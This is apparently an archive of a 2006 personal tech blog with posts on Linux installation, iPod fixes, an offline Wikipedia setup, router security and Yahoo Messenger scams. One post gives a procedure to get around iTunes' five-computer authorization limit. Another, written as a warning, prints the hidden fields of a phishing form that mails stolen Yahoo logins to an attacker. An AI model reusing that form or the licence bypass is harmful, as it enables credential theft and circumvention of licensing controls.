12.12.06
Posted in Intermediate, Mac, Windows at 4:50 pm by Techie
I’m not sure of the legality of this one, but Lifehacker pointed to an article about authorizing iTunes on more than five computers. The basic idea is that the authorization for a computer is stored on your local machine. This is a good thing, because otherwise you would need to be constantly connected to the Internet to play your music — not exactly ideal if you have a laptop. What you do is copy this folder, de-authorize your computer, then restore the folder. Voila — re-authorized, without connecting to the music store!
For Mac, the above link points to an Applescript that handles this for you: iTude.zip
LifeHacker notes that for Windows, the directory is stored in C:\Documents and Settings\All Users\Application Data\Apple Computer\iTunes\SC Info. Copy this folder, de-authorize your machine, then restore it, and your music should play.
A caveat to this is that any music bought thereafter will not work, because the authorization key will change on each new song purchased. However, if you just need a quick additional computer for your music and aren’t buying new music, then this will do the trick. Let’s see how long before Apple patches this!
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11.16.06
Posted in Article, Windows at 11:17 am by Techie
Here’s an interesting experiment. On a Windows desktop, right-click on the desktop, and create a new Folder. Then, try renaming it ‘aux’. Can’t do it, right? There are certain restricted words that cannot be used to name folders or files, even though they use regular characters. You can’t even name it, say, ‘aux.test’. I came across this bug when editing files in CVS that were sourced on a Linux machine. I checked out the repository, but got errors for a folder named ‘aux’. I ended up doing work on a Linux machine to get around this, as there would be no way I would be able to work on the files there from Windows.
The following are reserved names, which cannot be assigned to a folder or file (normally):
- CON
- PRN
- AUX
- CLOCK$ (NT and older)
- NUL
- COM1
- COM2
- COM3
- COM4
- COM5
- COM6
- COM7
- COM8
- COM9
- LPT1
- LPT2
- LPT3
- LPT4
- LPT5
- LPT6
- LPT7
- LPT8
- LPT9
It’s not impossible to create a file with that name, however. You just need to break out the old command line. From a Windows XP box, open up a command window (Start->Run, type cmd) and try:
md \\\\.\\c:\\aux
Congratulations, you’ve just created a folder named ‘aux’! You can even browse to it in Windows Explorer. To break down what the above does: the md stands for “make directory”. Specifying \\.\c:\aux means (in UNC format) on the local machine, volume C:, folder aux.
However, you still can’t delete it from Windows Explorer. To do that, you have to go back to the shell:
rd \\\\.\\c:\\aux
Aside from wowing your neighbors with your random geek knowledge, is there a practical use for this information? While I can’t think of any, it’s good to know to avoid using these, if doing cross-platform development. Do not use these names on a file on a Linux machine if they are going to be opened or edited by Windows users! This includes files and directories with those names but with an extension, such as aux.txt.
References:
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11.10.06
Posted in How To, Intermediate, Linux at 7:22 pm by Techie
I decided to take the plunge and start playing around with dual core technology, so I went down to the local store and picked up a new CPU, RAM, and motherboard. However, what I discovered was that it can actually be quite difficult actually installing Linux to what I had purchased, due to the newness of the technology. While support for dual core CPUs has been around for a while, support for some of the more recent motherboards has not, and mine was one of them. So, I could wait for broader support in a few months, or see what I could do now.
First, the reference information — the hardware I used.
* Intel Core 2 Duo Processor E6600
* Intel Classic Series Desktop Board DG965SS
* Kingston KVR533D2N4K2/1G (2x 512 MB)
* Western Digital 74 GB SATA Raptor WD740ADFD
* Antec TruePower 2.0 TPII-430
* JVC XJ-HD166S ATAPI DVD-ROM
Live isn’t so live, after all.
My plan was to battle-test this system with a few different Linux distributions, and then transition to testing Windows, but alas — my plans were not to be. I couldn’t even successfully boot up the live CDs I had! I’ve reproduced the error messages below, for the people searching for an answer.
If I tried to boot up Knoppix 5.0 DVD (2006-06-01-EN), I would get this error:
Can't find KNOPPIX filesystem, sorry.
Dropping you to a (very limited) shell.
Press the reset button to quit.
If I tried to boot the Ubuntu 6.10 “Edgy Eft” live CD, I would get this error:
BusyBox v1.1.3 (Debian 1.1.1.3-2ubuntu3) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
/bin/sh: can't access tty; job control turned off
If I tried to boot the CentOS 4.4 live CD, I wouldn’t even get an error message — it would just reboot when I tried to select an option.
The interesting thing about the above is that the file system for live CDs largely lives on the CD itself. Hence, if it couldn’t read it as in the above, then for some reason, the DVD drive wasn’t accessible. After doing a little research online, I discovered that the motherboard was relatively new, and did some rather funky things with the handling of the IDE devices. Hence, the computer would start to boot off the optical drive, but when it came time to load up a kernel and actually boot the system, the computer no longer knew how to access the drive! This all resulted from a lack of Linux support for the new motherboard architecture from Intel. Haven’t Linux developers built that time machine yet to get future architectures into old kernels? (Note that Windows would have similar problems; if I didn’t have an up to date Windows install CD or the driver disk, I would be out of luck.)
New hardware? Please stand by, support will be added momentarily…
Linux developers have a reasonably quick turnaround time on these things, and have, in fact, added support to the kernel. Unfortunately, they added it to the most recent kernel — 2.6.18. In CentOS 4.4 (as well as Red Hat Enterprise 4.4), this is 2.6.9-39. In Knoppix 5.0 is 2.6.17. In Ubuntu Edgy Eft, it’s 2.6.17. I would need to wait for the next release before getting support for the 965 chipset. Fortunately for me, Fedora Core 6 was released with the 2.6.18 kernel, meaning that I could use that instead. Being that I didn’t really feel like re-authoring my own custom live CD, I went with that, and will just have to wait for future releases on the others.
The devil is in the details.
I downloaded Fedora Core 6 for x86_64. I’m fairly certain that the i386 version would install in much the same manner, but decided that I might as well use the 64-bit version. I put in the DVD and booted up the computer.
However, it brought up a text-mode window to select language, keyboard, and installation method: something had gone wrong, because in a normal install, the full graphical environment would have been displayed. Upon selecting an installation method of “Local CDROM”, the installer reported the error “No driver found” — looks like I had some work to do.
First, I rebooted and struck F2 to get into the BIOS. Under the “Advanced” tab, “Drive Configuration”, I set “Configure SATA as” to “AHCI”. I then exited, saving changes.
Next, I rebooted with the the install DVD in the drive. When the message came up “To install or upgrade in graphical mode, press the <enter> key.”, I didn’t just hit enter — instead, I typed the following line:
linux all-generic-ide pci=nommconf
This is the magic trick. After skipping the media check, the full graphical environment came up at that point, and I could install as per normal. I did so, and the computer rebooted after installation.
So close, I can taste it!
The computer boots up, and the Internet connection was recognized straight away. The resolution was set to 800×600, so I went to System->Administration->Display, and clicked on the Hardware tab. I changed the monitor to “Generic CRT Display/Monitor 1280×1024″, and then I could set the resolution to (naturally) 1280×1024. System updates worked fine, and programs launched correctly. I could surf the web without issue (except for flash support, which is a whole other problem I won’t address here).
However, there was something wrong…the optical drive no longer worked! I could put in a CD or DVD, and they wouldn’t be recognized by the operating system, despite having worked fine for the install process. The problem here is in GRUB, the Linux bootloader. While the install had correctly added pci=nommconf to the loader, it had neglected to include the all-generic-ide tag.
I edited /etc/grub.conf as root, and changed the line…
kernel /vmlinuz-2.6.18-1.2798.fc6 ro root=/dev/VolGroup00/LogVol00 pci=nommconf rhgb quiet
…to…
kernel /vmlinuz-2.6.18-1.2798.fc6 ro root=/dev/VolGroup00/LogVol00 all-generic-ide pci=nommconf rhgb quiet
I needed to re-install GRUB, with grub-install /dev/sda1. A reboot later, and things worked fine.
Success!
So yes, Virginia, it is possible to install Linux on this wonky motherboard. What’s more, since the support is in the kernel (and far better people than myself are slavishly hacking away at it), it’s quite likely that distributions will support this out of the box in the future without special handling. I haven’t had any issues with this set up yet, and it runs in 64-bit mode to boot.
Some closing thoughts…
* The problems I experienced were largely a result of the IDE channel handling of the chipset. If I had an SATA optical drive, I could probably have gotten up and running on Fedora Core 6 without any extra futzing. This also may have gotten Ubuntu to install as well.
* This also means that if you have, say, ATA drives (not SATA), you may experience a whole host of other problems.
* Ubuntu “Edgy Eft” should have some backports built into it to handle the Intel 965 chipset, however, I couldn’t get them to work. It’s feasible that this CD could boot on an ATAPI optical drive, if given the right options.
* While these problems will probably go away in new releases, it’s not guaranteed. The chipset will at least be better supported.
* I’m not looking forward to the Windows installation. The chipset claims that I should be fine with Windows XP SP2 or Windows Media Center Edition. Only time will tell.
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10.05.06
Posted in Review at 5:40 pm by Techie
Internet on your PC? Why not! Something that’s been kicked around since the advent of Internet video is the idea of an Internet-only television network. If you can stream video, why not stream video channels? You wouldn’t have to worry about building out the network infrastructure, because you’d be running it on top of the Internet. TVU networks is one such company aiming to do just that.
There’s no clear timeline on when the service will actually roll out; according to their site, they anticipate a rollout later this year. Until that point, however, they are offering their software and service for free for beta testing. While it would appear that there is a web browser video player available, I was unable to get it to function in either Firefox 2.0 or Internet Explorer 7, so this review focuses on the downloadable software player (08/04/2006 16:02:10.72 build).
Requirements
- Windows 2000 or XP
- Broadband Internet, such as DSL or cable modem
Installation
Installation is very straightforward. Download the setup file, and run. That’s pretty much it. When you run it, a little spinning green globe will appear in your taskbar. This is no doubt handling part of their distribution — my thoughts on this are that TVU networks is leveraging something similar to Bit Torrent for content distribution, to keep bandwidth costs down. That way, if their subscriber base explodes, they could scale to meet demand without effort — clever.
Usability
The channel viewer is fairly straightforward — channels on the left, viewer on the right. For this beta, there are a lot of channels you might already be familiar with — FOX, NBC, Cartoon Network, ABC, CBS, ESPN (and ESPN2), TV land, CNN, Al Jazeera, and Animal Planet are among them. There are additionally some lower bandwidth channels, as well as some international channels.
As of this writing, there were forty-five channels, including ones from China, Korea, and Italy. To change channels, just click on another one, but be warned — changing channels is painful. You’ll spend several seconds waiting for the video to buffer in, so don’t expect to be channel surfing with this setup. In Full View mode, an on screen display with a volume control appears when you mouse over the display. I found that if you focused on the window, waited until the OSD disappeared, then clicked into another window that the OSD would stay hidden — convenient for multitasking dual monitor users like myself. No program guide was available for channels.
Overall, the interface is quite intuitive, and leaves little room for improvement. I would add some keyboard navigation or other accessibility features, as this could serve as a plug-in for a HTPC setup. I would have also added some quick program guide data in the channel viewer mode. Enabling the scroll wheel on the mouse for the channel listing would also be a plus.
Video Quality
In the picture above, you see the window for the TV. This is essentially a preview viewer, showing a 360×254 size image. In the lower right is a button marked “Full View”, which expands to fill the window, at 800×600. This window is freely resizable. Additionally, if from Full View you then maximize the window, it goes full screen. However, though the image gets bigger in each case, I believe the resolution remains the same, which makes the image pixelated at 800×600, and heavily so at full screen. I would put picture quality at comparable to Standard Definition at this point, and the channels seem to be mostly in 4:3 aspect ratio. (CNN is actually in 16:9 format, using letterbox black bars.) Due to the dearth of information regarding their upgrade plans, I have no idea if TVU networks is planning on improving this. According to their site: “The video quality will be equal to or better than typical digital cable channels and you will be able to switch between multiple TV channels just like on a TV.” That may be the case in the future, but they’re not there yet. I wouldn’t even say it actually competes with Standard Definition at this point, but it is reasonably close. Some channels are better than others.
The video is quite watchable as is, however, artifacting can be seen even in non-fast motion frames. (Pardon me for the lack of video examples; due to the nature of video display, the picture couldn’t be captured via screenshot.) I would not recommend viewing it full screen, as the artifacting becomes extreme. Viewing this on an HDTV’s full resolution may be a little painful.
Conclusion
As far as this technology goes, it’s pretty good. As advertised, you get TV channels on your PC. Maybe not all the channels you currently get, but they have a decent selection, and if you don’t have a TV, this can foot the bill.
Internet TV is an interesting idea, but is unlikely to replace traditional television networks. As a way to get television in an environment where televisions aren’t available, it’s a quite usable solution. Additionally, getting access to additional stations from around the world is a bonus. However, the picture quality offered is not substantially better, and definitely not a competitor to HD broadcasts (yet). There’s also a shortage of channels; though forty-five channels are available, people getting basic cable would be looking for more variety in the offerings — one hopes that with time, they’ll be able to diversify their listings.
Plus, people tend to already have their solutions for network television, be it cable, satellite, or over the air. They’re more likely to be interested in getting access to those channels, rather than access to this separate network, making offerings like Slingbox (which can broadcast your cable to your PC or even your cell phone) much more attractive. They’re certainly not likely to buy both subscriptions, and given that most people watch television in their houses, this is unlikely to be the solution of choice, especially with the lack of high definition content. At least in the US, areas that have broadband connections tend to also be the ones with other cable providers. What might be interesting is the provision of these channels worldwide to areas that set up Internet access, but do not have the wide availability of these channels. What’s interesting about TVU networks is that they’re trying to reverse the shift that television networks are undergoing now: rather than getting news and entertainment from television alone, people are now turning towards the Internet. Turning the Internet into TV is not exactly something that people are clamoring for. People want to watch television on their televisions.
TVU networks is missing one big feature: where’s the DVR-style functionality? The lack of pause, rewind, fast-forward, and slow-motion capabilities is sorely lacking. I’m surprised that they would overlook this functionality.
There’s also a lack of transparency about how the technology actually works. Does this company “torrent” the broadcasts? If so, then many companies specifically wouldn’t allow its use. What about the company? Many of the pages leave a bland “Under Construction” notice, rather than providing any useful information. What are their plans for expansion, and how soon are they releasing their full service? How much would it cost? Will the web player work again? There are a lot of questions left unanswered, leaving me feeling a bit leery about using it.
It’s fun to download and try out, but doesn’t quite get itself out of the novelty category. The technology here is very interesting stuff, and if you’re jonesing for TV where you have an Internet connection but no TV, then this patches in quite well. However, it will not replace your television. (If you don’t have a television, then this may be a good choice.) It will be interesting to see how they improve the service and how they target their markets.
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09.14.06
Posted in Beginner, How To, Windows at 10:11 am by Techie
With the recent release of iTunes 7, lots of folks are upgrading and finding that their iPods are no longer recognized. This is actually a common problem, and not isolated to iTunes 7. Sometimes it just happens, even without upgrade. I found my iPod nano was no longer being recognized by iTunes after upgrade, but fortunately, the fix is pretty simple.
First, some details. After upgrading, I plugged in my iPod nano, and heard it detect the hardware. However, it never showed up in iTunes. I opened up My Computer, and found that the drive was being recognized, so Windows was acknowledging its presence. iTunes just no longer was recognizing its existence. I unplugged it and re-plugged it in, but it just wouldn’t pick up.
Apple recommends the five Rs when you’re having troubles: reset your iPod settings, retry on a different port, restart your computer (after updating software), re-install your iTunes software, and restore your iPod (erasing all data on it). Trying each of these steps (one at a time, not all of them) will solve most problems with iPods.
In my case, I first reset my iPod settings by scrolling to Settings->Reset All Settings (on the iPod itself, silly). Once I did this and my iPod rebooted, it was recognized by iTunes. Yay! However, the firmware was out of date, and iTunes requested I update to the latest. (Note: the old iPod updaters appear to no longer work — you now appear to have to use iTunes to do firmware updates.) Unfortunately, the update didn’t work. Here’s a tip: wait until your iPod finishes syncing. Once finished, I did a restore + update, to get it to the newest firmware. Once that was done, my iPod re-picked up, and I had to configure its sync settings anew, and leave it to copy music.
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09.13.06
Posted in Error Messages, Intermediate, Windows at 5:05 pm by Techie
I figured a good thing for this site would be to post up error messages I receive, as well as how I solved them. After all, I’m not the only one to get random errors, and if I add to useful results in Google, why not?
After installing iTunes 7, I tried launching it, and got this error:
The iTunes application could not be opened. An unknown error occurred (0x666D743F).
That’s awful cryptic. With a little digging, I found that the reason was because I was using Remote Desktop to access my PC remotely while trying to launch iTunes. Apparently, iTunes 7 doesn’t like it when you redirect sound, which is what Remote Desktop Connection tries to do by default. In the Remote Desktop Connection settings, I went to the Local Resources tab, and changed “Remote computer sound” to “Leave at remote computer” and things worked fine.
This error may also occur if you have third party sound plugins, or are otherwise redirecting the audio. For example, if you were using the Volume Logic plugin, you may get this error, or find that the plugin mysteriously stops working (uninstallation of this plugin is recommended until Volume Logic can release a new version). Total Recorder is another program that was causing problems. Also check is in Control Panel, Sounds and Audio Devices; make sure that in the Audio tab that your sound card is selected. Under the Volume tab Speaker settings, click Advanced, and play around with the Speaker setup drop down — try setting it to headphones, for instance, and see if that fixes the problem.
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08.31.06
Posted in Advanced, How To, Windows at 11:14 am by Techie
In the old days (say, around 1990) a must-have application when buying a computer was an encyclopedia on a CD-ROM. Hello, Grolier’s and Encarta! No more would you need a shelf full of books to look up interesting facts! When I bought an iBook, it came with a copy of World Book, which I thought quite an entertaining addition.
These days, such an addition is no longer the norm, thanks to the Internet. An incredible amount of information can be gleaned online with a quick search. However, a project started a few years ago has quickly risen to become a great resource for user-provided information on a wide variety of topics. I speak, of course, of Wikipedia. While initially just a quick repository for user feedback, it’s quickly become a resource worthy of comparison to more established sources, such as The Encyclopedia Britannica, even if its veracity may be in question.
I have a laptop, but don’t always have an Internet connection, but wondered, why can’t I have an offline copy of Wikipedia? As it turns out, I can. Now, if I’m on the road and want to look up something quickly, I don’t even have to find a hotspot — I can just turn on my laptop, pull up a browser, and find the answer. This article shows you how I did it.
Overview
Wikipedia runs on the open source software MediaWiki. This in turn runs on top of MySQL and PHP, as well as possibly Linux and Apache. My laptop runs Windows XP Professional SP2 Tablet PC Edition, so running Linux and Apache just wasn’t going to happen. Fortunately, there is a WAMP project (Windows – Apache – MySQL – PHP), which did all the hard work of that installation for me. So, all I’d have to do is:
- Install WAMP.
- Install MediaWiki.
- Download and install a pages dump of Wikipedia.
These instructions should in theory work for any Windows XP SP2 machine. However, your results may vary. I take no responsibility if you try this yourself! Some anticipated caveats:
- You need Administrator privileges. You’re installing software, as well as creating services, so you need the privileges.
- You need disk space. The full English Wikipedia will take a over 10 gigabytes when uncompressed into the database.
- You need NTFS. Because of this, the database files themselves may grow to larger than 2 GB. If you’re using FAT32, you’re out of luck.
- You’re installing a new service. By default, the server installs without remote access, and hopefully, you leave your firewall in place. However, you are still installing new services on your machine, which means they have the potential for exploitation.
- No pictures included. These instructions do not cover the images in Wikipedia.
That said, let’s get on with the show!
Install WAMP.
Go to the Wampserver site and download the latest WAMP distribution (in my case, 1.6.4). Double-click the executable to run, and the defaults will pretty much be what you want. (E.g., install to C:\wamp\, create a Start Menu group, do not auto-start, set DocumentRoot to www, and Launch immediately.)
A Windows Security Alert will probably pop up and ask if you want to keep blocking Apache HTTP Server. You want to select “Keep Blocking” for this question.
Now, in your systray on the lower right side you should see a little dashboard icon, with a lock on it. It should be white, and when you mouse over it, it should say “WAMP5 – All services running – server Offline”. (When they say “offline” here, they actually mean that it’s restricting access to localhost — it’s actually online, technically.
To verify that it’s working, open up a web browser, and point it at http://127.0.0.1/. If the installation was successful, you should see a page that looks like the following:
That’s it for WAMP!
Install MediaWiki.
First, we’ll set up a MySQL user for Wiki. To do so, make sure WAMP is running. (If not, go to Start->Programs->WampServer->Start Wampserver.) Then, go to phpMyAdmin. Click on “Privileges”, then “Add a new User”. Use the following values:
- User name:
wikiuser
- Host: Select “Local” from the dropdown
- Password: Select “Use text field” from the dropdown, and pick a password of your choice
- Generate Password: Click the “Generate” button
- Global privileges: Leave all unchecked
Scroll to the bottom and click “Go”, and it should successfully create a user. On this confirmation page, you should have a screen to edit the user if you scroll down. Do so, to the section marked “Database-specific privileges”. Set the dropdown to “Use text field”, and enter “wikidb”. Click “Go”.
You should be presented with a new page for Database-specific privileges. Click the “Check All” link to check all the boxes, and click “Go”.
Download the latest stable release of MediaWiki. At the time of this writing, that was version 1.7.1. It’s a .tar.gz file, so you’ll need a program to expand it — I recommend the shareware program WinRAR. When you unpack this, you’ll create a folder named mediawiki-1.7.1. Rename this to wikipedia, and move it to c:\wamp\www\.
If you now visit http://127.0.0.1/wikipedia/, you should get a splash page saying to “setup the wiki” first. Follow that link, and you should get a “Site config” page. I used these values for this form:
- Wiki name:
Wikipedia Offline
- (Admin) Password: custom password
- Database host:
localhost
- Database name:
wikidb
- DB username:
wikiuser
- DB password: same password used when creating MySQL user
The other defaults were fine. Once done, I went in Windows Explorer to C:\wamp\www\wikipedia\config\, and moved the file LocalSettings.php up one directory to C:\wamp\www\wikipedia\.
Another check of http://127.0.0.1/wikipedia/ should state that “MediaWiki has been successfully installed.”
Download and install a pages dump of Wikipedia.
You can download a copy of the English Wikipedia pages from http://download.wikimedia.org/enwiki/latest/. However, you should check this page, for the entry for “enwiki” first, to make sure the dump completed successfully. The file you will want is named enwiki-latest-pages-articles.xml.bz2. This contains all the article pages, but none of the revisions or history. You just want the articles, right? As of this writing, that file is around 1.5 GB, compressed.
If you don’t already, you should make sure you have Java installed. If you don’t, you can get it from http://java.sun.com/j2se/1.5.0/download.jsp. I usually just open a command window and type java and hit enter, and see if it just hangs. If it does, it’s probably installed, and I hit cntrl-C to cancel.
You’ll also need MWDumper. Download mwdumper.jar from http://download.wikimedia.org/tools/. Put this file and the wiki dump file in the same directory, say, c:\tmp\.
You’ll need to edit MySQL’s config file to increase the max_allowed_packet size. If you don’t, the import will most likely choke around the 49,000 article mark. This is quite annoying, because it kills the rest of the import. While you’re add it, you might as well change the innodb_log_file_size, which should modestly increase the import speed. To do so, go to c:\wamp\mysql\, right-click on my.ini, and select Open. This will open up the ini file in a text editor. Find the line innodb_log_file_size, and set this to 512M (was 10M in mine). Scroll to the bottom, and add the following line:
set-variable=max_allowed_packet=32M
Remember that little dashboard with the lock in your systray? Left-click on it, and a menu should pop up. Select MySQL->Stop Service. Wait a few seconds, then left-click on it again, and select MySQL->Start / Resume Service.
Before you import, you’re going to need to delete data in MySQL from the default installation. Otherwise, you’ll get errors about a dupe right at the start, and then none of the rows will import. Left-click on the dashboard with a lock in your systray, go to “MySQL”, and select “MySQL console”. You’ll be asked for a password, which by default is blank, so just hit enter. Enter in the following commands into the console:
use wikidb;
delete from page;
delete from revision;
delete from text;
quit
This will delete all pages in the wiki.
Open a command window by going to Start->Run, and typing in cmd. Type c: to change to the c: drive, and then cd c:\tmp\ to change to the directory where you put mwdumper.jar and the wiki dump file. You’re ready to do the import, but beware — this will take a long time. It’s best to start the process, then leave for a few hours. When you’re ready, type the following:
java -jar mwdumper.jar --format=sql:1.5 enwiki-latest-pages-articles.xml.bz2 | c:\wamp\mysql\bin\mysql -u wikiuser -p wikidb
This will begin the import process, and as noted, this will take a long time. There are over three million pages to process, so don’t expect it to finish right away. On a reasonably fast single processor machine (*not* my laptop), it took me over 24 hours.
Usage
Using Wikipedia Offline is pretty straightforward. If you haven’t already, start WAMP. (If you see the dashboard with a lock icon in your systray, and it’s white, then it’s running. If not, go to Start->Programs->WampServer->Start Wampserver.) Then, just fire up a web browser and browse to http://127.0.0.1/wikipedia/. If all goes well, it should be accessible just like Wikipedia, searches and all.
Anticipated Questions
- Why do this?
I’m not always connected to the Internet, and think Wikipedia is a great resource. Now I can take it wherever I want. I suppose if I were paranoid about Wikipedia tracking my searches, then I could do this and do all the searches I wanted offline. Doing it this way also seemed like a fun tech project.
- Is this legal?
Sure! Wikipedia offers all of their data for use by interested parties. All of the software involved is open source, except for Windows.
- Where are the pictures?
You can download a dump of the English Wikipedia images from here. Wikipedia doesn’t package these with the dump for two reasons: 1) the images might be copyrighted, so they don’t want to distribute them; and 2) the dump file would be huge. As of this writing, the dump file is about 75 GB, which was larger than the hard drive on my laptop.
- Isn’t it overkill to install full MediaWiki?
Yes, but it’s not nearly as much effort as you might think. Plus, with WAMP, I can experiment with other types of LAMP-based software. You can always build static pages if you’d prefer something a little more lightweight.
- Won’t the data fall out of date?
Yes, but I’m doing this more to just have a quick reference, rather than something that’s kept constantly up to date. In that sense, it’s similar to those encyclopedia CD-ROMs! Besides, the way the dumps are handled, you’re guaranteed to be slightly out of date. If you really need to be that current, you should probably be going online.
- How can updates be done?
I’m presuming I can just go in mysql and delete from the ‘page’, ‘revision’, and ‘text’ tables; download a new dump; and re-import using mwdumper.jar. I haven’t actually tried this, though.
- Can I use these instructions to run a wiki web site?
There are a few problems with this. First, the WAMP folk note that “WAMP5 is not meant to be a production server.” Also, running a web site takes a fair bit of security knowledge to prevent hacking, so you’ll get yourself in trouble if you just use it to publish on the ‘net. Finally, you can’t republish the contents of Wikipedia as your own site. So, technically, you could use the first few parts to set up wiki, but it’s not a good idea. You’re better off getting a proper web host that has a one-click install of wiki, such as DreamHost.
- How do I uninstall?
If you want to trash the whole thing, go to “Add or Remove Programs” in the Control Panel, and select WAMP5. Remove it, then be sure to delete C:\wamp\ as well.
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07.28.06
Posted in Article at 10:22 am by Techie
First off, let me just state that the ordering of DSL from Verizon was a surprisingly painless procedure. The support and sales people I talked to were courteous and helpful. I called up to get a “dry loop” (no phone service) DSL line, and they got me squared away (with one small error in my address, which was quickly remedied). I took their installation kit, followed directions, and had working Internet in about an hour. From first call to them to surfing the Internet took about ten days.
However, I’ve noted that Verizon leaves people in a bit of a precarious situation. Let’s have a tech dissect the procedure:
Windows Firewall is disabled. In order to get things working, they tell you to disable any firewall programs. They don’t force you to do so, but tell you to do so to prevent issues during setup. Fair enough. However, in the beginning they also just mention that you should re-enable the firewall post-setup — and never remind you. Net result: many will probably leave the firewall disabled. Sure, they offer security suites for free, which often come with their own firewall, but it’s still a risky way to leave the customer.
Wireless networking is by default ON. I ordered their wireless DSL modem, on the recommendation of one of the folks at Verizon. However, they shipped it with the wireless networking on. This may be a nitpick, but it seems to me that they should ship this off, and ask if it should be set to on. That, or make sure the next doozy isn’t the case…
Wireless networking uses WEP. This one is unacceptable. Wireless networking is on, with encryption set to WEP. I believe they might have set a WEP key, with the key printed on a sticker on the bottom of the unit, but WEP must die. It’s not secure. It only gives the illusion of security to the less tech-savvy. WPA was available, but not WPA2. (Read why I care.)
No suggestion to change default password on the router. This is another no-no. After running setup, I was able to get straight online with no issues. This was all fine and good, but I knew that there was a password on the router, and that it’d be a good idea to change. Sure enough, there was, AND it was a default user / password that’s available for all wireless routers of the same make and model. I had to dig around in Help on Verizon’s web site for details on this, as they didn’t provide that in the installation kit documentation. In fact, they never mention it.
So, many a new Verizon user may end up having a fairly insecure wireless network, with a default password on the router and no firewall. It would be pretty trivial for someone to come along, wardrive to find my access point, crack the WEP, and start listening in on all my IM and email conversations. Or worse, hack my PC. Plus, once on the network, if I hadn’t changed the password to my router, they could easily pop in there and break my wireless network access altogether. They could theoretically do all of this inside of half an hour — which, incidentally, I might spend in the initial setup. Plus, if they were on the network, they could technically capture plaintext passwords, which include things like IM, message boards, email, and site logins.
I understand Verizon’s challenge: they have to provide rather technically detailed service to people who are unfamiliar with it. In that regard, I think their setup kit does very well. I think most people could take this kit, follow the instructions, and be up and running online in little time. However, the next step is security: getting people to actually secure their network should be of vital importance, both to Verizon and the customer. People like to believe that their Internet surfing is private. With Verizon opting for this sort of setup, people are getting wireless networks online, without realizing how very insecure they might be. What’s more, since Verizon is setting them up in this manner, their customers will just tend to trust that Verizon has set things up acceptably. It’s that validation from a position of authority thing: people will think they know better.
So, I leave off with a dual message: Verizon, focus more on security. Consumers: get better educated. Of course, I think Verizon should also step up the hardware side of things. Where’s the WPA2 support? WPA is so 2003. I think I’m going back to my old wireless gear.
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06.06.06
Posted in Article at 11:33 am by Techie
“If the man at the top and a team of Microsoft’s best engineers faced defeat, what chance do ordinary punters have of keeping their Windows PCs virus-free?” Microsoft CEO Steve Ballmer and a team of top Microsoft engineers couldn’t remove spyware from a PC. If they couldn’t do it, we know we have a real problem on our hands.
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05.25.06
Posted in Article at 4:47 pm by Techie
If you’re using Yahoo Instant Messenger, beware of strange messages from friends or strangers. There’s a couple malicious things floating around that may trouble you.
The first is a worm virus, that sends a message with a malicious URL. Clicking on the URL will send you to a page that will install a custom web browser without permission, dropping an IE-like icon on the desktop. The start page will also be changed to point to a page with more malware, and when this custom browser is launched, as well as play strange music on computer startup. The virus attempts to propagate itself further in Yahoo chat.
However, there’s also a social engineering “virus” (if you can call it that) that’s going around, which works much simpler. You may get a message from someone on your buddy list, that has a message to check out a site, and a URL to visit on a Geocities site. I recently got one of these messages, so could dive into it in more detail.
This is brilliant for its simplicity. The page itself looks just like a standard Yahoo login. However, it’s not. Someone hosted a page on Geocities, emulating the Yahoo style, but with a different form action. The brilliance here is that there is no virus. It relies entirely on people’s trusting of the Yahoo brand, and their familiarity with logging into Yahoo. Even looking at the domain isn’t straightforward, because Yahoo owns Geocities. People who try to use this form are sending their username and password off to some third party. Let’s see if we can get any clues as to how it works.
The form action used was encoded using HTML escape sequences, but when translated, point to http://www2.fiberbit.net/form/mailto.cgi. Oops, looks like someone left a poorly coded script out there! Word to budding coders out there: if you write an email posting script, make sure to not allow arbitrary setting of addresses — it’s just asking for abuse.
The hidden attributes of this form are as follows:
<INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">
<INPUT TYPE="hidden" NAME="Mail_To" VALUE="icewishart@gmail.com">
<INPUT TYPE="hidden" NAME="Mail_Subject" VALUE="Yahoo id">
So, by all appearances, by submitting this form, you are sending your Yahoo username and password to the address icewishart@gmail.com. They can then take your username and password and send off a message to people on your Yahoo buddy list, to try to get more usernames and passwords. Better change your Yahoo password if you’ve fallen for this!
While the first vulnerability is a legitimate and critical one, the second one underscores the importance of being careful with providing your information online. There’s a reason banks have started doing two factor security — they want you to be very aware of where you provide your information. When online, adopt an attitude of paranoia. You never know who is really sending you that message.
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